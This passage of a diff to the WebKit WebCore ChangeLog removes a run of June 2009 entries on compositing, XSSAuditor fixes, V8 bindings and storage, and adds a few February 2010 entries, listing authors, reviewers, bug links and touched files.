-        (WebCore::WMLSelectElement::title):
-        (WebCore::WMLSelectElement::formControlName):
-        (WebCore::WMLSelectElement::defaultEventHandler):
-        (WebCore::WMLSelectElement::selectInitialOptions):
-        (WebCore::WMLSelectElement::calculateDefaultOptionIndices):
-        (WebCore::WMLSelectElement::selectDefaultOptions):
-        (WebCore::WMLSelectElement::initializeVariables):
-        (WebCore::WMLSelectElement::updateVariables):
-        (WebCore::WMLSelectElement::parseIndexValueString):
-        (WebCore::WMLSelectElement::valueStringToOptionIndices):
-        (WebCore::WMLSelectElement::optionIndicesToValueString):
-        (WebCore::WMLSelectElement::optionIndicesToString):
-        (WebCore::WMLSelectElement::name):
-        (WebCore::WMLSelectElement::value):
-        (WebCore::WMLSelectElement::iname):
-        (WebCore::WMLSelectElement::ivalue):
-        * wml/WMLSelectElement.h:
-
-2009-06-29  David Hyatt  <hyatt@apple.com>
-
-        Reviewed by Adam Roben.
-
-        Put <datagrid> behind an ifdef.
-
-        * Configurations/FeatureDefines.xcconfig:
-        * bindings/js/JSDataGridColumnListCustom.cpp:
-        * bindings/js/JSDataGridDataSource.cpp:
-        * bindings/js/JSDataGridDataSource.h:
-        * bindings/js/JSHTMLDataGridElementCustom.cpp:
-        * html/DataGridColumn.cpp:
-        * html/DataGridColumn.h:
-        * html/DataGridColumn.idl:
-        * html/DataGridColumnList.cpp:
-        * html/DataGridColumnList.h:
-        * html/DataGridColumnList.idl:
-        * html/DataGridDataSource.h:
-        * html/HTMLDataGridCellElement.cpp:
-        * html/HTMLDataGridCellElement.h:
-        * html/HTMLDataGridCellElement.idl:
-        * html/HTMLDataGridColElement.cpp:
-        * html/HTMLDataGridColElement.h:
-        * html/HTMLDataGridColElement.idl:
-        * html/HTMLDataGridElement.cpp:
-        * html/HTMLDataGridElement.h:
-        * html/HTMLDataGridElement.idl:
-        * html/HTMLDataGridRowElement.cpp:
-        * html/HTMLDataGridRowElement.h:
-        * html/HTMLDataGridRowElement.idl:
-        * html/HTMLTagNames.in:
-        * page/DOMWindow.idl:
-        * rendering/RenderDataGrid.cpp:
-        * rendering/RenderDataGrid.h:
-
-2009-06-29  Simon Hausmann  <simon.hausmann@nokia.com>
-
-        Reviewed by Ariya Hidayat and Adam Roben.
-
-        Fix compilation with MINGW. Ported MSVC inline assembly to
-        GNU inline assembly. Also fixed casting errors where gcc
-        refused to cast a pointer-to-function to a pointer-to-object,
-        without an intermediate cast to a non-pointer type.
-
-        * plugins/win/PluginViewWin.cpp:
-        (WebCore::PluginView::hookedBeginPaint):
-        (WebCore::PluginView::hookedEndPaint):
-        (WebCore::hook):
-        (WebCore::setUpOffscreenPaintingHooks):
-
-2009-06-26  John Sullivan  <sullivan@apple.com>
-
-        Added Speech submenu to context menu on Mac when there's a non-editable selection
-        (it was already present when there's an editable selection). 
-        Also added support for disabling "Stop Speaking" when there is no speaking to stop.
-
-        Reviewed by Tim Hatcher.
-
-        * loader/EmptyClients.h:
-        (WebCore::EmptyContextMenuClient::isSpeaking):
-        implemented this new virtual function to return false
-        
-        * page/ContextMenuClient.h:
-        declared this new pure virtual function
-        
-        * platform/ContextMenu.cpp:
-        (WebCore::ContextMenu::populate):
-        insert Speech item (after a separator) on Mac when there's selected non-editable text
-        (WebCore::ContextMenu::checkOrEnableIfNeeded):
-        enable Stop Speaking item only if the context menu client returns true for isSpeaking()
-
-2009-06-28  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        - fix https://bugs.webkit.org/show_bug.cgi?id=26783
-          <rdar://problem/7014543> REGRESSION (r45296): Subfolders not displayed
-          in MobileMe iDisk Web App
-
-        Test: added a case to fast/dom/Element/scrollWidth.html
-
-        Ensure that scroll{Width, Height} is greater or equal to
-        client{Width, Height}.
-
-        * rendering/RenderBox.cpp:
-        (WebCore::RenderBox::scrollWidth):
-        (WebCore::RenderBox::scrollHeight):
-
-2009-06-27  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Eric Seidel.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26780
-        
-        Do not make compositing layers for non-self-painting RenderLayers,
-        since these exist only to push a clip onto the clipping stack. If such
-        a layer gets compositied for some other reason, it should not paint.
-        
-        Also ensure that we update composited layer positions correctly
-        inside overflow:scroll layers. We can't assume that the contents
-        are child layers, so we have to go up to the compositing ancestor,
-        and tell it to update all its child layer positions as we do 
-        after layout.
-
-        Tests: compositing/layers-inside-overflow-scroll.html
-               compositing/self-painting-layers.html
-
-        * rendering/RenderLayer.cpp:
-        (WebCore::RenderLayer::scrollToOffset):
-        * rendering/RenderLayerBacking.cpp:
-        (WebCore::RenderLayerBacking::paintIntoLayer):
-        * rendering/RenderLayerCompositor.cpp:
-        (WebCore::RenderLayerCompositor::calculateCompositedBounds):
-        (WebCore::RenderLayerCompositor::needsToBeComposited):
-
-2009-06-28  Luke Kenneth Casson Leighton  <lkcl@lkcl.net>
-
-        Reviewed by Eric Seidel.
-
-        PurgeableBuffer #defines leave out functions on gtk MacOSX 10.4 build
-        https://bugs.webkit.org/show_bug.cgi?id=23057
-
-        Define these functions for Gtk as well.
-
-        * platform/PurgeableBuffer.h:
-
-2009-06-28  Nate Chapin  <japhet@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Update CodeGeneratorV8.pm to match the new api for V8Proxy.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26765
-
-        * bindings/scripts/CodeGeneratorV8.pm: Match the current version of V8Proxy.
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::mediaPlayerPrivateSourceChangedCallback):
+        * platform/gtk/GOwnPtrGtk.cpp: Added.
+        (WTF::SoupURI):
+        (WTF::GstElement):
+        * platform/gtk/GOwnPtrGtk.h: Added.
 
-2009-06-28  Nicolas Sylvain  <nsylvain@chromium.org>
+2010-02-02  Nate Chapin  <japhet@chromium.org>
 
         Reviewed by Dimitri Glazkov.
 
-        If loading a font fails because of the sandbox, we ask the browser process to 
-        try to load it by calling ensureFontLoaded. If it still fails after 
-        ensureFontLoaded, we hit a ASSERT_NOT_REACHED. 
-
-        This case happens once in a while during browser shutdown. The browser will 
-        queue a message to the renderer to shutdown, and will then stop answering sync 
-        messages from the renderer. If the renderer is still loading a page during this 
-        time, it might try to call the browser process to ask to load a font. The 
-        browser process will ignore the request, and the font will fail to load, even 
-        after the second try. 
-
-        This is unfortunate, but there is no real risk here, since the renderer will be 
-        going away as soon as it processes another message. 
-
-        This can't be layout tested as it depends on the sandbox. 
-
-        https://bugs.webkit.org/show_bug.cgi?id=26743 
-
-        * platform/graphics/chromium/FontChromiumWin.cpp:
-        * platform/graphics/chromium/FontPlatformDataChromiumWin.cpp:
-        * platform/graphics/chromium/GlyphPageTreeNodeChromiumWin.cpp:
-        * platform/graphics/chromium/SimpleFontDataChromiumWin.cpp:
-
-2009-06-28  John Abd-El-Malek  <jam@chromium.org>
-
-        Reviewed by Eric Seidel.
-
-        https://bugs.webkit.org/show_bug.cgi?id=15457
-
-        Test: plugins/netscape-plugin-map-data-to-src.html
-
-        Fix problems with Real or WMP plugins not displaying because "data" was set
-        on the OBJECT tag instead of "src".  This is based on what Firefox does, see
-        http://mxr.mozilla.org/mozilla-central/source/layout/generic/nsObjectFrame.cpp#3045
-
-        * rendering/RenderPartObject.cpp:
-        (WebCore::mapDataParamToSrc):
-        (WebCore::RenderPartObject::updateWidget):
-
-2009-06-27  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
-
-        Reviewed by Jan Alonzo.
-
-        [Qt] Build fix after r45290
-        https://bugs.webkit.org/show_bug.cgi?id=26769
-
-        * WebCore.pro:
-
-2009-06-27  Emilio Pozuelo Monfort  <pochu27@gmail.com>
-
-        Reviewed by Jan Alonzo.
-
-        [GTK] Don't use deprecated GTKsymbols.
-        https://bugs.webkit.org/show_bug.cgi?id=26583
-
-        * plugins/gtk/gtk2xtbin.c:
-        (gtk_xtbin_class_init):
-        (gtk_xtbin_new):
-        (gtk_xtbin_destroy):
-
-2009-06-27  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26780
-        
-        Fix up previous change. When computeCompositingRequirements() determines
-        that the current layer is composited, it needs to inform its parent
-        by setting compositingState.m_subtreeIsCompositing() to true. That didn't
-        always happen after the previous patch. Clarified the logic here.
-        
-        * rendering/RenderLayerCompositor.cpp:
-        (WebCore::CompositingState::CompositingState):
-        (WebCore::RenderLayerCompositor::computeCompositingRequirements):
-
-2009-06-27  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26780
-        
-        First part: fix the RenderLayer::hasCompositingDescendant() flag to be set
-        correctly.
-
-        * rendering/RenderLayerCompositor.cpp:
-        (WebCore::RenderLayerCompositor::computeCompositingRequirements):
-        Do not unconditionally set compositingState.m_subtreeIsCompositing, because
-        that can clobber the value from an earlier sibling. Add some more comments.
-        
-        Remove a final use of Vector iterators.
-        
-        (WebCore::RenderLayerCompositor::recursiveRepaintLayerRect):
-        Move the normalFlowList() processing outside the test for isStackingContext().
-
-2009-06-27  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Simon Fraser and Antti Koivisto.
-
-        - make paintFillLayerExtended() non-virtual and remove its clipY and
-          clipH parameters
-
-        These parameters were computed and passed along to
-        paintFillLayerExtended in order to vertically constrain the rect fill to
-        the damage rect, because Qt cannot paint tall rectangles (see
-        <http://websvn.kde.org/?view=rev&revision=42721>). Since the damage rect
-        is passed along in the PaintInfo, the extra parameters are redundant,
-        and the intersection can just take place in paintFillLayerExtended().
-
-        * rendering/InlineFlowBox.cpp:
-        (WebCore::InlineFlowBox::paintFillLayers):
-        (WebCore::InlineFlowBox::paintFillLayer):
-        (WebCore::InlineFlowBox::paintBoxDecorations):
-        (WebCore::InlineFlowBox::paintMask):
-        * rendering/InlineFlowBox.h:
-        * rendering/RenderBox.cpp:
-        (WebCore::RenderBox::paintRootBoxDecorations):
-        (WebCore::RenderBox::paintBoxDecorations):
-        (WebCore::RenderBox::paintMask):
-        (WebCore::RenderBox::paintMaskImages):
-        (WebCore::RenderBox::paintFillLayers):
-        (WebCore::RenderBox::paintFillLayer):
-        * rendering/RenderBox.h:
-        * rendering/RenderBoxModelObject.cpp:
-        (WebCore::RenderBoxModelObject::paintFillLayerExtended):
-        * rendering/RenderBoxModelObject.h:
-        * rendering/RenderFieldset.cpp:
-        (WebCore::RenderFieldset::paintBoxDecorations):
-        (WebCore::RenderFieldset::paintMask):
-        * rendering/RenderTable.cpp:
-        (WebCore::RenderTable::paintBoxDecorations):
-        (WebCore::RenderTable::paintMask):
-        * rendering/RenderTableCell.cpp:
-        (WebCore::RenderTableCell::paintBackgroundsBehindCell):
-        (WebCore::RenderTableCell::paintMask):
-
-2009-06-27  Ryosuke Niwa  <rniwa@google.com>
-
-        Reviewed by Eric Seidel.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26762
-
-        Clean up for IndentOutdentCommand::indentRegion, and solved most of problems related to the bug 21712.
-        https://bugs.webkit.org/show_bug.cgi?id=21712
-
-        Added few utility functions to htmlediting.h/cpp
-
-        isVisibilyAdjacent checks whether the first position is visibly next to the second position.
-        i.e. there is no visible node between the first and second positions
-
-        canMergeLists checks whether two lists can be merged.
-        It checks the type of list, the editing boundary, and adjacency of the lists.
-
-        Tests: editing/execCommand/indent-nested-lists-1.html
-               editing/execCommand/indent-nested-lists-2.html
-               editing/execCommand/indent-nested-lists-3.html
-               editing/execCommand/indent-nested-lists-4.html
-               editing/execCommand/indent-nested-lists-5.html
-               editing/execCommand/indent-nested-lists-6.html
-               editing/execCommand/indent-nested-lists-7.html
-               editing/execCommand/outdent-nested-lists-1.html
-               editing/execCommand/outdent-nested-lists-2.html
-               editing/execCommand/outdent-nested-lists-3.html
-               editing/execCommand/outdent-nested-lists-4.html
-
-        * editing/IndentOutdentCommand.cpp:
-        (WebCore::IndentOutdentCommand::prepareBlockquoteLevelForInsertion):
-        (WebCore::IndentOutdentCommand::tryIndentingAsListItem):
-        (WebCore::IndentOutdentCommand::indentIntoBlockquote):
-        (WebCore::IndentOutdentCommand::indentRegion):
-        * editing/IndentOutdentCommand.h:
-        * editing/htmlediting.cpp:
-        (WebCore::enclosingListChild):
-        (WebCore::canMergeLists):
-        (WebCore::isVisibilyAdjacent):
-        * editing/htmlediting.h:
-
-2009-06-27  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        WebInspector: Fix completion when iterating options using Tab.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26722
-
-        * inspector/front-end/TextPrompt.js:
-        (WebInspector.TextPrompt.prototype._completionsReady):
-
-2009-06-27  Gustavo Noronha Silva  <gns@gnome.org>
-
-        Reviewed by Holger Freyther.
-
-        https://bugs.webkit.org/show_bug.cgi?id=25889
-        [GTK] scrollbar policy for main frame is not implementable
-
-        Override visibleContentRect to handle GTK+'s case, in which
-        scrollbars or equivalent decoration are painted by the parent
-        widget.
-
-        * platform/ScrollView.cpp:
-        * platform/gtk/ScrollViewGtk.cpp:
-        (WebCore::ScrollView::visibleContentRect):
-
-2009-06-27  Daniel Bates  <dbates@intudata.com>
-
-        Reviewed by Adam Barth.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26708
-        
-        Fix addresses false negatives with respect to scheme relative paths, iFrame JavaScript URLs,
-        and UTF-7 encoded payloads.   
-
-        Tests: http/tests/security/xssAuditor/http-equiv-utf-7-encoded.html
-               http/tests/security/xssAuditor/iframe-javascript-url.html
-               http/tests/security/xssAuditor/script-tag-utf-7-encoded.html
-               http/tests/security/xssAuditor/script-tag-with-source-relative-scheme.html
-
-        * html/HTMLTokenizer.cpp:
-        (WebCore::HTMLTokenizer::scriptHandler): Moved XSSAuditor check to HTMLTokenizer::parseTag.
-        (WebCore::HTMLTokenizer::parseTag):
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::loadSubframe): Modified to inform XSSAuditor of parent frame so
-        as to compare against iFrame javascript URL.
-        * page/XSSAuditor.cpp: Removed method XSSAuditor::isControlCharacter. Instead, exposed method
-        isControlCharacter in ResourceResponseBase.cpp.
-        (WebCore::XSSAuditor::XSSAuditor):
-        (WebCore::XSSAuditor::decodeURL): Modified to decode string using specified encoder.
-        (WebCore::XSSAuditor::findInRequest): Generalized to arbitrary frame so as to prevent execution
-        of iFrame javascript URL.
-        * page/XSSAuditor.h: Added field m_parentFrame.
-        * platform/network/ResourceResponseBase.cpp:
-        (WebCore::isControlCharacter):
-        * platform/network/ResourceResponseBase.h:
-
-2009-06-27  Oliver Hunt  <oliver@apple.com>
-
-        Reviewed by Maciej Stachowiak.
-
-        Bug 26771: Canvas is incorrectly tainted when drawing from a video element that uses <source> elements
-
-        The drawImage(<video>) logic naively assumes that it just needs
-        to check the src attribute of the video element when in fact it
-        needs to look at the url that is being played instead.  Failure
-        to do this means that video provided through source elements 
-        taints the canvas.
-
-        Test: media/video-canvas-source.html
-
-        * html/CanvasRenderingContext2D.cpp:
-        (WebCore::CanvasRenderingContext2D::checkOrigin):
-        (WebCore::CanvasRenderingContext2D::drawImage):
-        * html/CanvasRenderingContext2D.h:
-
-2009-06-26  Brian Weinstein  <bweinstein@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26695
-        
-        Added the ability to do scrollbar hit testing in EventHandler, changed the
-        signature of a PlatformWheelEvent constructor, and changed scrollbarUnderMouse
-        to scrollbarUnderPoint, and updated all calls to that function.        
-
-        * page/EventHandler.cpp:
-        (WebCore::EventHandler::hitTestResultAtPoint):
-        (WebCore::EventHandler::handleMousePressEvent):
-        (WebCore::EventHandler::handleMouseMoveEvent):
-        * page/EventHandler.h:
-        (WebCore::):
-        * platform/PlatformWheelEvent.h:
-        * platform/ScrollView.cpp:
-        (WebCore::ScrollView::scrollbarUnderPoint):
-        * platform/ScrollView.h:
-        * platform/chromium/PopupMenuChromium.cpp:
-        (WebCore::PopupListBox::handleMouseDownEvent):
-        (WebCore::PopupListBox::handleMouseMoveEvent):
-        * platform/win/WheelEventWin.cpp:
-        (WebCore::PlatformWheelEvent::PlatformWheelEvent):
-
-
-2009-06-26  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        <rdar://problem/7011924> Opacity transitions should not trigger hardware compositing mode
-        
-        Don't go into compositing mode just for opacity transitions, but they will be
-        hardware acclerated if we're already compositing.
-
-        * rendering/RenderLayerCompositor.cpp:
-        (WebCore::RenderLayerCompositor::requiresCompositingLayer):
-        (WebCore::RenderLayerCompositor::requiresCompositingForTransform):
-        (WebCore::RenderLayerCompositor::requiresCompositingForAnimation):
-        * rendering/RenderLayerCompositor.h:
-
-2009-06-26  Simon Fraser  <simon.fraser@apple.com>
-
-        Rubber-stamped by Dave Levin
-
-        Rename ioCompState to compositingState to better match WebCore coding style.
+        [V8] Use toV8() to wrap in the custom bindings, and remove
+        the old wrapping code from V8DOMWrapper.
         
-        * rendering/RenderLayerCompositor.cpp:
-        (WebCore::RenderLayerCompositor::computeCompositingRequirements):
-        (WebCore::RenderLayerCompositor::rebuildCompositingLayerTree):
-
-2009-06-26  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Mark Rowe.
-
-        - revert unintentional project changes from r45277
-
-        * WebCore.xcodeproj/project.pbxproj:
-
-2009-06-26  Mark Rowe  <mrowe@apple.com>
-
-        Fix the Windows build.
-
-        * WebCore.vcproj/WebCore.vcproj: Remove ColorSafari.cpp as
-        the file was deleted from SVN.
-
-2009-06-26  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26766
-
-        Change to use array indexing rather than Vector enumerators; the former
-        are preferred style.
-
-        * rendering/RenderLayerBacking.cpp:
-        (WebCore::RenderLayerBacking::hasNonCompositingContent):
-        * rendering/RenderLayerCompositor.cpp:
-        (WebCore::RenderLayerCompositor::calculateCompositedBounds):
-        (WebCore::RenderLayerCompositor::computeCompositingRequirements):
-        (WebCore::RenderLayerCompositor::rebuildCompositingLayerTree):
-        (WebCore::RenderLayerCompositor::updateCompositingChildrenGeometry):
-        (WebCore::RenderLayerCompositor::recursiveRepaintLayerRect):
-        (WebCore::RenderLayerCompositor::layerHas3DContent):
-
-2009-06-26  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Oliver Hunt.
-
-        - fix <rdar://problem/6961476> REGRESSION (r42043): scrollWidth reported
-          as 1 px
-
-        Test: fast/dom/Element/scrollWidth.html
-
-        Changed scrollWidth and scrollHeight to use the same logic for
-        visible overflow boxes that is used for clipped overflow boxes. In
-        particular, borders are not included and
-        {leftmost,rightmost,lowest}Position() are used. This logic matches IE8.
-
-        * rendering/RenderBox.cpp:
-        (WebCore::RenderBox::scrollWidth):
-        (WebCore::RenderBox::scrollHeight):
-
-2009-06-26  Chris Fleizach  <cfleizach@apple.com>
-
-        Reviewed by Oliver Hunt.
-
-        Bug 26725: aria-hidden, aria-disabled, aria-readonly need to be implemented
-        https://bugs.webkit.org/show_bug.cgi?id=26725
-
-        Tests: accessibility/aria-disabled.html
-               accessibility/aria-hidden.html
-               accessibility/aria-readonly.html
-
-        * accessibility/AccessibilityRenderObject.cpp:
-        (WebCore::AccessibilityRenderObject::ariaIsHidden):
-        (WebCore::AccessibilityRenderObject::accessibilityIsIgnored):
-        (WebCore::AccessibilityRenderObject::isEnabled):
-        (WebCore::AccessibilityRenderObject::canSetValueAttribute):
-        * accessibility/AccessibilityRenderObject.h:
-        * html/HTMLAttributeNames.in:
-
-2009-06-26  Brett Wilson  <brettw@chromium.org>
-
-        Reviewed by David Levin.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26759
-
-        GIFImageDecoder is broken.
-
-        Make the GIFImageDecoder.repetitionCount function const to match the
-        base class. The mismatched definitions were causing the function to not
-        get called.
-
-        * platform/image-decoders/gif/GIFImageDecoder.cpp:
-        (WebCore::GIFImageDecoder::repetitionCount):
-        * platform/image-decoders/gif/GIFImageDecoder.h:
-
-2009-06-26  Chris Marrin  <cmarrin@apple.com>
-
-        Reviewed by Simon Fraser  <simon.fraser@apple.com>.
-
-        Additional fix for https://bugs.webkit.org/show_bug.cgi?id=26651
-
-        The flag should always default to true to avoid it getting set
-        to false in a build with accelerated compositing turned off
-        and then disabling accelerated compositing when subsequently
-        running a build with it turned on.
-
-        * page/Settings.cpp:
-        (WebCore::Settings::Settings):
-
-2009-06-26  Brady Eidson  <beidson@apple.com>
-
-        Reviewed by Sam Weinig.
-
-        Followup for the fix for <rdar://problem/6961578> REGRESSION (r43511): Opening .fdf files from Acrobat Professional fails
-
-        Now that other MIME type correction stuff is in our swizzled method, Tiger needs it too!
-
-        * platform/network/mac/ResourceHandleMac.mm:
-        (-[WebCoreResourceHandleAsDelegate connection:didReceiveResponse:]):
-        * platform/network/mac/WebCoreURLResponse.h:
-
-2009-06-26  Jeremy Orlow  <jorlow@chromium.org>
-
-        Reviewed by Darin Fisher.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26732
-
-        For the final step of https://bugs.webkit.org/show_bug.cgi?id=25376,
-        combine LocalStorage and SessionStorage into StorageNamespace. The
-        synching code (for LocalStorage) has already been removed, so these
-        classes are now very similar.  All they do is essentially contain a
-        logical grouping of origins that are attached to specific contexts
-        (be it PageGroups for LocalStorage and Page for SessionStorage).
-
-        * GNUmakefile.am:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * page/Chrome.cpp:
-        (WebCore::Chrome::createWindow):
-        * page/DOMWindow.cpp:
-        (WebCore::DOMWindow::localStorage):
-        * page/DOMWindow.h:
-        * page/Page.cpp:
-        (WebCore::Page::sessionStorage):
-        (WebCore::Page::setSessionStorage):
-        * page/Page.h:
-        * page/PageGroup.cpp:
-        (WebCore::PageGroup::localStorage):
-        * page/PageGroup.h:
-        * storage/LocalStorage.cpp: Removed.
-        * storage/LocalStorage.h: Removed.
-        * storage/LocalStorageTask.cpp:
-        * storage/LocalStorageThread.cpp:
-        * storage/SessionStorage.cpp: Removed.
-        * storage/SessionStorage.h: Removed.
-        * storage/StorageArea.cpp:
-        (WebCore::StorageArea::create):
-        (WebCore::StorageArea::StorageArea):
-        (WebCore::StorageArea::copy):
-        (WebCore::StorageArea::length):
-        (WebCore::StorageArea::key):
-        (WebCore::StorageArea::getItem):
-        (WebCore::StorageArea::setItem):
-        (WebCore::StorageArea::removeItem):
-        (WebCore::StorageArea::clear):
-        (WebCore::StorageArea::contains):
-        (WebCore::StorageArea::importItem):
-        (WebCore::StorageArea::close):
-        (WebCore::StorageArea::dispatchStorageEvent):
-        * storage/StorageArea.h:
-        (WebCore::):
-        * storage/StorageAreaSync.cpp:
-        (WebCore::StorageAreaSync::scheduleFinalSync):
-        * storage/StorageNamespace.cpp: Copied from WebCore/storage/LocalStorage.cpp.
-        (WebCore::localStorageNamespaceMap):
-        (WebCore::StorageNamespace::localStorageNamespace):
-        (WebCore::StorageNamespace::sessionStorageNamespace):
-        (WebCore::StorageNamespace::StorageNamespace):
-        (WebCore::StorageNamespace::~StorageNamespace):
-        (WebCore::StorageNamespace::copy):
-        (WebCore::StorageNamespace::storageArea):
-        (WebCore::StorageNamespace::close):
-        * storage/StorageNamespace.h: Copied from WebCore/storage/LocalStorage.h.
-
-2009-06-26  Nate Chapin  <japhet@chromium.org>
-
-        Reviewed by David Levin.
-
-        Upstream V8Proxy.  This involved updating a lot of function and variable names to match WebKit style, hence the large size.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26623
+        https://bugs.webkit.org/show_bug.cgi?id=32563
 
-        * bindings/v8/ScheduledAction.cpp:
-        (WebCore::ScheduledAction::ScheduledAction):
-        (WebCore::ScheduledAction::~ScheduledAction):
-        (WebCore::ScheduledAction::execute):
-        * bindings/v8/ScriptCallStack.cpp:
-        (WebCore::ScriptCallStack::ScriptCallStack):
         * bindings/v8/ScriptController.cpp:
-        (WebCore::ScriptController::isSafeScript):
-        (WebCore::ScriptController::gcProtectJSWrapper):
-        (WebCore::ScriptController::gcUnprotectJSWrapper):
-        (WebCore::ScriptController::processingUserGesture):
-        (WebCore::ScriptController::evaluate):
-        (WebCore::ScriptController::setEventHandlerLineNumber):
-        (WebCore::ScriptController::bindToWindowObject):
-        (WebCore::ScriptController::collectGarbage):
-        (WebCore::ScriptController::haveInterpreter):
-        (WebCore::createScriptObject):
-        (WebCore::ScriptController::createScriptObjectForPluginElement):
-        * bindings/v8/ScriptInstance.cpp:
-        (WebCore::V8ScriptInstance::clear):
-        (WebCore::V8ScriptInstance::set):
         * bindings/v8/ScriptObject.cpp:
-        (WebCore::ScriptGlobalObject::set):
-        * bindings/v8/ScriptObjectQuarantine.cpp:
-        (WebCore::getQuarantinedScriptObject):
-        * bindings/v8/ScriptScope.cpp:
-        (WebCore::ScriptScope::ScriptScope):
-        * bindings/v8/ScriptValue.h:
-        (WebCore::ScriptValue::ScriptValue):
-        (WebCore::ScriptValue::operator=):
-        (WebCore::ScriptValue::clear):
         * bindings/v8/V8AbstractEventListener.cpp:
-        (WebCore::V8AbstractEventListener::invokeEventHandler):
-        (WebCore::V8AbstractEventListener::handleEvent):
-        (WebCore::V8AbstractEventListener::disposeListenerObject):
-        (WebCore::V8AbstractEventListener::getReceiverObject):
-        * bindings/v8/V8Collection.cpp:
-        (WebCore::toOptionsCollectionSetter):
         * bindings/v8/V8Collection.h:
-        (WebCore::getV8Object):
-        (WebCore::getNamedPropertyOfCollection):
-        (WebCore::nodeCollectionNamedPropertyGetter):
-        (WebCore::getIndexedPropertyOfCollection):
-        (WebCore::nodeCollectionIndexedPropertyGetter):
-        (WebCore::nodeCollectionIndexedPropertyEnumerator):
-        (WebCore::collectionIndexedPropertyEnumerator):
-        (WebCore::collectionStringOrNullIndexedPropertyGetter):
-        * bindings/v8/V8DOMMap.cpp:
-        (WebCore::weakDOMObjectCallback):
-        (WebCore::DOMData::removeObjectsFromWrapperMap):
-        * bindings/v8/V8Helpers.cpp:
-        (WebCore::wrapNPObject):
-        (WebCore::toV8Context):
-        * bindings/v8/V8LazyEventListener.cpp:
-        (WebCore::V8LazyEventListener::~V8LazyEventListener):
-        (WebCore::V8LazyEventListener::getListenerFunction):
-        (WebCore::V8LazyEventListener::callListenerFunction):
-        (WebCore::V8LazyEventListener::getWrappedListenerFunction):
+        * bindings/v8/V8DOMWindowShell.cpp:
+        * bindings/v8/V8DOMWrapper.cpp:
+        * bindings/v8/V8DOMWrapper.h:
         * bindings/v8/V8NodeFilterCondition.cpp:
-        (WebCore::V8NodeFilterCondition::V8NodeFilterCondition):
-        (WebCore::V8NodeFilterCondition::~V8NodeFilterCondition):
-        (WebCore::V8NodeFilterCondition::acceptNode):
-        * bindings/v8/V8ObjectEventListener.cpp:
-        (WebCore::weakObjectEventListenerCallback):
-        (WebCore::V8ObjectEventListener::~V8ObjectEventListener):
-        * bindings/v8/V8Proxy.cpp: Added.
-        * bindings/v8/V8Proxy.h:
-        (WebCore::):
-        (WebCore::GlobalHandleInfo::GlobalHandleInfo):
-        (WebCore::V8Proxy::):
-        (WebCore::V8Proxy::V8Proxy):
-        (WebCore::V8Proxy::frame):
-        (WebCore::V8Proxy::inlineCode):
-        (WebCore::V8Proxy::setInlineCode):
-        (WebCore::V8Proxy::timerCallback):
-        (WebCore::V8Proxy::setTimerCallback):
-        (WebCore::V8Proxy::setEventHandlerLineNumber):
-        (WebCore::V8Proxy::finishedWithEvent):
-        (WebCore::V8Proxy::wrapCPointer):
-        (WebCore::V8Proxy::extractCPointer):
-        (WebCore::V8Proxy::convertDOMWrapperToNative):
-        (WebCore::V8Proxy::convertDOMWrapperToNode):
-        (WebCore::V8Proxy::convertToV8Object):
-        (WebCore::V8Proxy::convertToNativeObject):
-        (WebCore::V8Proxy::convertToNativeEvent):
-        (WebCore::V8Proxy::context):
-        (WebCore::V8Proxy::extractCPointerImpl):
-        (WebCore::V8Proxy::utilityContext):
-        (WebCore::V8Proxy::constructDOMObject):
-        (WebCore::throwError):
-        (WebCore::toV8):
-        * bindings/v8/V8Utilities.h:
-        * bindings/v8/WorkerContextExecutionProxy.cpp:
-        (WebCore::WorkerContextExecutionProxy::retrieve):
-        (WebCore::WorkerContextExecutionProxy::initContextIfNeeded):
-        (WebCore::WorkerContextExecutionProxy::GetConstructor):
-        (WebCore::WorkerContextExecutionProxy::ToV8Object):
-        (WebCore::WorkerContextExecutionProxy::EventToV8Object):
-        (WebCore::WorkerContextExecutionProxy::toV8):
-        (WebCore::WorkerContextExecutionProxy::forgetV8EventObject):
-        (WebCore::WorkerContextExecutionProxy::evaluate):
-        (WebCore::WorkerContextExecutionProxy::runScript):
-        * bindings/v8/custom/V8AttrCustom.cpp:
-        (WebCore::ACCESSOR_SETTER):
-        * bindings/v8/custom/V8CSSStyleDeclarationCustom.cpp:
-        (WebCore::NAMED_PROPERTY_GETTER):
-        (WebCore::NAMED_PROPERTY_SETTER):
-        * bindings/v8/custom/V8CanvasPixelArrayCustom.cpp:
-        (WebCore::INDEXED_PROPERTY_GETTER):
-        (WebCore::INDEXED_PROPERTY_SETTER):
+        * bindings/v8/V8Proxy.cpp:
         * bindings/v8/custom/V8CanvasRenderingContext2DCustom.cpp:
-        (WebCore::toV8):
-        (WebCore::toCanvasStyle):
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::ACCESSOR_SETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8ClientRectListCustom.cpp:
-        (WebCore::INDEXED_PROPERTY_GETTER):
